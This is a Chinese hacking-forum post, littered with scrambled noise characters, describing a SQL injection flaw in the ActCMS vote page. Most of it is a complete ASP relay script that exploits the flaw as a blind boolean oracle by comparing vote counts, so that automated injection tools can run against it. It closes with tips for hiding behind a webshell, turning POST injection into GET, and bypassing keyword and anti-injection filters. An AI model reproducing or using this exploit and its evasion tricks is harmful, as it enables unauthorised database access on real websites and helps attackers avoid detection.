找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2149|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

9 O9 A$ P# E: b5 c2 P3 S# L看到ninty大牛的blog的一篇文章
8 O7 a' _% `4 ?. g6 u3 p1 v; I8 F链接标记[url]http://www.forjj.com/?action=show&id=80[/url]' Y* p& |; F. l: A0 C2 ^
关于actcms漏洞的利用  by 3x qq:381862589
; U; }0 G" D1 f( y) M' G. n; @转载请注明以上* l* Y- C1 ?; P
漏洞文件:
" {4 l* E3 b' p8 N* B* @/plus/vote/vote.asp
9 T3 x0 t+ Q+ [5 {2 ]9 s代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    9 d6 a" c# D1 S* j& m! A
* ]8 j$ m8 V9 v3 q8 e! y" j
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   7 A+ n# e  q1 c+ z" }
9 G; O. m- P8 P) ~3 u$ F5 M& j
3    response.end    ) i2 i0 L4 Y' r6 X, f
. r. ?8 U6 b, R+ U; }
4    end if    $ V5 \+ g6 `0 ]2 N5 p
1 w* {: e% R4 j
5    for i=1 to request("voted").count    % f2 y: Y) H4 l3 y; }
; U) z! W& Y; V- T
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    ( A9 B' y* Z) m& X

) A& c: G; ]+ F/ n" _9 s7    next   
- X& y8 c! w/ Y  a& S
5 |) i1 j7 |; ?8....    ' x4 G4 ]  ^' a' c, c

0 I& q+ T7 g0 \4 [! D4 I1 F3 ^9response.Redirect "index.asp?id="&id&""   
* F- @! ?8 B$ k) T4 N( v+ E投票结束回跳转回index.asp这个投票结果页面
+ s" \) z" G3 y如果投票成功票数加1% T; G2 ^( k% q& C; t
            失败票数不变
; }% G9 _  V& G" H( j( C如图:
" U& [! \% N3 ~8 k5 P- H/ mhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
+ W7 H  z" l+ O1 [4 [, q: o, G1 b: c# m  C
2009-12-27 13:20
! ^: J8 _: l5 Q0 P! I, q+ W9 r6 j& Y7 G, v1 ^5 i, L8 |/ F% d- y+ v
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
. w7 [' g$ |; p5 X& V" s2 o/ W: r+ }& D# b' m$ K7 [, }
本帖隐藏的内容需要回复才可以浏览2 u( G- c. p8 X5 i4 z7 f
我们用注入中转来实现这个注入具体代码如下:
6 q9 o" x% ?' s5 u# }+ @先用寂寞的刺猬大牛的注入中转生成jmget.asp
8 B# Y! p+ j  I7 P0 `% _  j+ E注入地址:http://localhost/actcms/plus/vote/vote.asp# c* k( a/ r; Z
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项, {! c. `3 L% M' l

3 W! _$ {- r, g) `5 x/ @. z2 B/ \4 s然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 9 Y8 K6 d3 Y* R& V( r" A, z
/ E$ A" y1 a* C2 G9 _& T
02JmdcwName=request("jmdcw")
1 b: z3 W- H. Y' L$ U2 c2 ~( r
/ s. J/ X5 I$ c5 f03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
9 s& q# o4 z. ^6 C( L. h- Y) q$ u. R% b7 k; R
04JmStr="id=1&voted=-1 or 1="&JmdcwName - v! g0 b4 ?7 X7 b+ P3 Z! @' Z+ j

; ]3 i0 T- ^2 t. X05JmStr=URLEncoding(JmStr) 8 j+ l, `/ ^2 w$ i* d/ P! I
2 r; B" f0 O( h1 H7 r9 O
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
; b1 w0 V( R/ j, @9 m3 O) u" @- \
0 J  a3 [3 m+ h, [/ U7 X07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
+ a0 Y, `% n: t, S3 k. S1 |& k; q  e* ]& x- g
08testurl=testurl & "?" & JmStr $ M4 g- b) R( F/ j3 F

6 ~& v0 t% {% p9 a/ `, p+ l- B09JMUrl=JMUrl & "?" & JmStr . w8 M, h7 b9 \3 x6 ^+ r

# C  s) Z: l" w6 ]" |3 I5 c4 Q10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
- C" o' \4 W( s; s/ K# r' }7 b0 g/ p; q" d( X0 z/ d! O% P
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"& C1 M' c7 F8 K) b# G3 v: f7 O! k
" |6 K% z' r" A7 n6 |
12JmCok=replace(JmCok,chr(32),"%20")  + w& [1 ]  Z, D* S8 B' ?
9 Z( Q# I+ [3 j
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 3 J  R) Z, V; s$ d

% e4 H' `3 @; e& w14  0 Z" x7 J1 t8 Y, h6 J$ b+ @3 @' l) N' J2 O

$ f% x/ v: S: G0 M  U15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 # E+ X/ @; T% _5 b. K2 R# A
+ w% t! Z2 i' S! c. E- l
16  2 i' d4 V) {: m8 I$ \# e+ g

+ L% Q# Y- A9 G17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 ) ~: j# [) E! S( A
2 k& G# C. E' `3 b, b
18response.write test1&""&test2&""
1 R# ~& z2 t% r  t) H8 G' [6 l2 q: K! l* S8 y6 O) q/ r
19  8 A, _8 b  R' W2 p1 B8 U
( V/ z1 w) V* H9 f
20if test1=test2 then '如前后记录相等,表示失败
( m: J8 t5 d# a0 v/ R, Y& W4 I" {9 n8 w: @- r5 `8 o- ]
21  response.write "failed"
, w, G9 w; @3 m! n7 d9 b! F7 K) A- {: D( @
22else
6 {/ A) l: }6 B4 |% F
1 m! Y6 ]. H0 u! C) {23  response.write "succeed"! A0 N: L' K, S5 K9 @" Y" o' {7 `

# V% e) {, @* @/ \# p24end if  % n  S3 ]3 o" ?
1 ]( ]" m# K5 ?$ L+ R
25  6 Z3 u' G0 m7 U- T2 T5 J
- G" ~4 I$ N% q/ m5 X3 X
26response.write "by 3x"
$ i3 u" R! o  X& L& z% l" z2 ?
( `: c! s8 c& X" U27  $ L8 X3 H, v* o7 Q. Q% F8 @
* l' j4 X1 |$ A/ s, a8 m
28  + k4 _! p8 o8 P" f% s' ^& g

' I, r, ~5 E, N2 T( k. N9 r7 G29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
6 t8 X5 a% Z) d  @' b
/ B8 ~! k5 z4 Z30Dim Http
1 F/ }; @( F+ @* m2 Y0 y! e, e2 Q# Q- j: K
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") & A' P+ I' Q6 {& H% ]# z

2 O+ @7 `4 S3 t1 o4 B32With Http % ]" B. D- _# V6 l* u
+ M4 c/ a6 r' O' a& F5 ~; e. c
33  ( U: @: V7 `6 F9 z, G4 l6 C7 d

) |, W3 K6 e  j8 V7 @& s& I34.Open "GET",PostUrl,False5 A" ]. v$ }, _& T
2 [: |2 j; ^, u3 r, \
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
4 N6 V. l: |4 A# T, T# \
7 K% p! v% K2 j5 F8 J36.SetRequestHeader "Referer",PostRef
4 G& O6 P1 s8 P8 {5 O5 X- M$ s* M1 x1 K, j, f- \
37.SetRequestHeader "Cookie",PostCok
( p' O0 }: j9 \7 f
! t4 w  G2 E' U+ o) V- T38.Send ()
7 K8 y: D+ I: v) T9 O* \# _) z/ p% t  G" e( }0 G8 K  k
39PostData = .ResponseBody
: Z# m/ a1 b  c1 y6 E# `. h2 C
$ t! t" g+ w; l4 g( w40End With
9 S; g3 e. S& S5 m( ~! K, ]& W* L* ]: ]" Q. F( ~: r2 {
41Set Http = Nothing6 H5 n4 g7 k8 f! T& ~  p% {5 u
4 q5 p0 p  V: t6 l4 Z; c
42PostData =bytes2BSTR(PostData)
: R+ Q4 i+ Z# j  e: E
- Q7 l+ m2 p7 ?  F& c. Z7 \43End Function- s/ X; r0 ?0 j) w. {4 q

8 |, O1 N) A9 Z+ X, f44  ; U$ d# S) z$ h
1 u0 }4 x4 w5 [5 x1 y+ ]$ O
45  & b) x" ]( P# P0 X7 |
9 ~2 G9 \* u0 c* N" R' A
46Function bytes2BSTR(vIn) 7 i6 b+ k. J/ [/ j0 r

6 K& a/ U) J8 }0 d( `8 j1 c  x: b47Dim strReturn * F/ ^, h0 x! w) ]
) d9 b% @) ?+ Y/ h8 D0 j, q9 i
48Dim I, ThisCharCode, NextCharCode + p% r7 }" ]1 z. O) u
5 q  S/ \5 i5 q" W1 b
49strReturn = ""
/ [* T7 a( r1 i! d3 C* ?3 ~! {2 @( [& ~. m9 B
50For I = 1 To LenB(vIn) 0 ]6 C1 ]% c- P8 |5 q( i! o
% V9 D5 U* }, n1 H/ Q
51ThisCharCode = AscB(MidB(vIn, I, 1))
6 ]( s3 C) H1 V1 C. q: K: x! ?  J+ s  ]* H& Z" ?( A; K/ D  y1 c* b
52If ThisCharCode < &H80 Then
2 i' \7 }& H# g2 t* l& {/ `) x
. S- w5 i: Q0 k  t8 l53strReturn = strReturn & Chr(ThisCharCode) ! h1 T! n- T( n

( J: Y/ _( O& t5 q54Else% Q! O/ |0 s( d) u
1 t( p2 I- m- V" x4 p6 H
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
% J' t* @9 Q3 y% E6 G6 d$ {: J: N% V: b0 V
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) . ~- q' L, _2 F2 L% C
' L: U; p% I3 P
57I = I + 1 , k7 Q% g; o! `

; k. S" U1 c/ ^8 C6 Y58End If
% Y% o) V( M- F2 M7 T* w$ d' D( T9 z- `4 Q! a3 ]1 x5 R6 \- H) K* C
59Next' Z" z, c/ N: V4 n7 b( s
0 a8 }, C+ |6 U  c; B
60bytes2BSTR = strReturn ! J; }0 m. X0 z; ~. T  [- u

2 |7 Z* A7 {- F/ ?8 K61End Function
+ ~) D. e& B9 l# \4 ]. ~# u7 C, o
% j; J3 f8 u2 Z; |; \62  ' {9 H2 o; a% L+ x& \3 k

' n; W( H/ ~8 |% ~63Function URLEncoding(vstrin)  
1 g: [% M. `. v+ W5 p5 u2 o, f, h6 u& y; C7 N* U; {
64strReturn=""
3 P4 u) `# ^3 I( _: p  m/ J( r) h9 S, t$ I
65Dim i ! R# u# O2 g: H
: A8 Y- R9 _5 n8 t
66For i=1 To Len(vstrin)
1 u0 @9 ^9 L9 V! w
+ P9 q4 n# u0 S) U  B4 ^' [67ThisChr=Mid(vstrin,i,1) 6 @) Y2 u" I7 f8 I2 Z

6 m5 v  b/ i6 v. m3 Z5 j68if Abs(Asc(ThisChr))< &HFF Then
2 Q: w- m( M' [" `8 j, k, M# B; a  }% R& i1 K  M; d
69strReturn=strReturn & ThisChr
# c2 S4 S+ x0 ?; ?& d! J, d, q2 C4 @6 Y1 ^* B
70Else1 p9 V/ s9 ?5 i3 v: r# m

9 U5 }3 r7 P2 Q/ f7 E71InnerCode=Asc(ThisChr)
/ }0 z. i  {; r. X% y3 l
. F, x/ D' [& _) ^0 D72If InnerCode<0 Then
- e4 D: N: N6 P% g, D
  R" E0 E9 v3 n1 Y( l73InnerCode=InnerCode + &H10000
& j+ {, k) q* |) r1 R& f/ I6 ?
+ t! \- j3 F: l. H/ I5 b74End If
. A# C& p5 z0 U7 L3 x# ?
4 ~% W, ^4 k1 W! M  @2 X75Hight1=(InnerCode And &HFF00) \&HFF
& O! H1 w" U% d3 y7 K8 v1 }' w# |& z, L0 m- I. }) X
76Low1=InnerCode And &HFF 3 ~0 a$ e9 n, i' _* y2 f
' e2 g' G+ m+ G2 g3 G) }1 U
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
% E- C' ~* w: m
0 K  ]  k9 x; c78End if
& L; F$ s, z; n( v; F- }$ f0 }1 |8 y( o% j# t: z% Y" J/ }& e
79Next
/ k  T6 J  J5 f% a# [. U2 m! \1 h" X& T- L( W
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 $ u) F8 R3 H+ `! V3 y2 R  [
& G4 N' V9 A) Z3 e3 Y/ k; O
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
" B. T' m) }- s8 b
. t) l0 j  X# X1 |; v82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 ; [; V# v2 Y8 x  ~; X: X5 p

" W- N; }8 ]2 D) r* w: d- D6 v1 G83URLEncoding=strReturn " f  x2 A/ F/ f' U1 n
: c& w5 n' k/ t( v0 X2 G
84End Function
( X' }3 w: n. O/ G: D' P% f# E5 `8 p/ k5 y4 V
85  # q) t. _# J1 s% a' Y; t

+ C' w* P. [: ^86function getSt(body) : U4 H- O9 R( \% [% R$ R: ^  l

) M  w* W8 H* R87  startpot=instr(body,"投票人数:")+len("投票人数:") ; k, D, t- n' v
$ o) Y8 j  R* x) E! Y
88  endpot=instr(startpot,body," ")
# J( E5 f! k, s4 V+ ?% a' }7 q0 t, A& W8 h. J* E6 Z5 K0 G+ z6 Q
89  getSt=mid(body,startpot,endpot-startpot) 6 H% M9 m3 v  I0 p3 I. m
( ~0 \* ]5 [$ E. s0 R
90end function 5 p+ e& j3 Z  U
$ g1 x6 T0 \# n" ^: j0 m: k
91%>  X0 a& o. l0 P# c9 s% }0 F
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了: b) l4 `" F! B. A4 {  W% t
测试下效果:
' e& w  C) D) O+ c5 T( o1 @- V投票成功:8 G1 \2 r; ~+ A. s3 I$ E
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)& K0 d) V, @) T0 o! b

3 U/ F; S5 S6 D) q' r2009-12-27 13:29
0 ~& `, F8 U  X* }* @7 }: o投票失败0 G1 y# m9 i! j, j5 J
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)0 X  _5 }2 W" j% A
1 Z* f9 S4 S7 x/ b- g+ K3 b
2009-12-27 13:29
( a. a  Y0 |( N' B* S-------------------------------------------------------------------------------) ^- I, W$ T9 x: u1 }3 [8 {
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
: ?" Y% A+ T5 H9 s很抱歉。。。只能用单线程工具去注入。。。。。- k$ |0 z; w& ]% `# c0 h
所以失败。。。不好意思。。。
) U* M% f4 d; M% _8 w9 W+ a; z-------------------------------------------------------------------------------$ ~8 G( W/ C" c/ y
* Q8 E8 [2 l9 C) q( [' f/ L: D
注入中转的一些其他应用
1 D+ ?  s* j0 q3 J8 o其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
2 S' \7 w7 p1 }1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id* S& D& V# b0 M2 ~9 l
2.post注入转成get型的注入,方便我们使用工具来跑  {5 N" k( S; @5 n$ x
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
1 O$ K; C9 D% b7 e4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
: V7 Y2 q, _- e& x4 Q
$ R# m  g) Q. [1 n4 I: q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表